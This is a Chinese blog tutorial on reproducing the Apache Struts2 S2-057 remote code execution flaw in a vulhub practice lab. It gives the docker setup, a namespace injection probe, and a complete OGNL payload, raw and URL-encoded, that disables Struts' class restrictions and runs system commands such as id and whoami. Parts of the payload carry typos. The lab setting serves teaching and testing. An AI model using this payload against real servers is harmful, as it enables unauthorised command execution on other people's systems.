【vulhub靶场之struts2】——s2-057

漏洞简介:

        漏洞产生于网站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生。
S2-057 先决条件:
        alwaysSelectFullNamespace 正确-操作元素未设置名称空间属性,或使用了通配符用户将从 uri 传递命名空间,并将其解析为 OGNL 表达式,最终导致远程代码执行漏洞。

漏洞利用:

第一步:打开环境

cd vulhub/struts2/s2-057
docker-compose up -d
docker-compose ps

第二步:访问靶机地址

ip地址/struts2-showcase

在url处输入如下代码

 http://ip地址struts2-
showcase/${(123+123)}/actionChain1.action

刷新可以看到中间数字位置相加了

第三步:构建payload,抓包。

将上面验证payload的值替换为我们的,利用exp。抓 http://ip地址struts2-
showcase/${(123+123)}/actionChain1.action的包。

将下方的代码url编码后插入到原来的${(123+123)},将其替换掉。

${
(#dm=@ognl.0gnlContext@DEFAULT MEMBER ACCESS).(#ct=#request['struts.valuestack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.0gnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id' )).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

编码后是: 

%24%7B%0A(%23dm%3D%40ognl.0gnlContext%40DEFAULT%20MEMBER%20ACCESS).(%23ct%3D%23request%5B'struts.valuestack'%5D.context).(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.0gnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec('id'%20)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D

 可以查看到了id的信息,

将其改为whoami或者其他的系统命令,查看到当前的用户为root。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值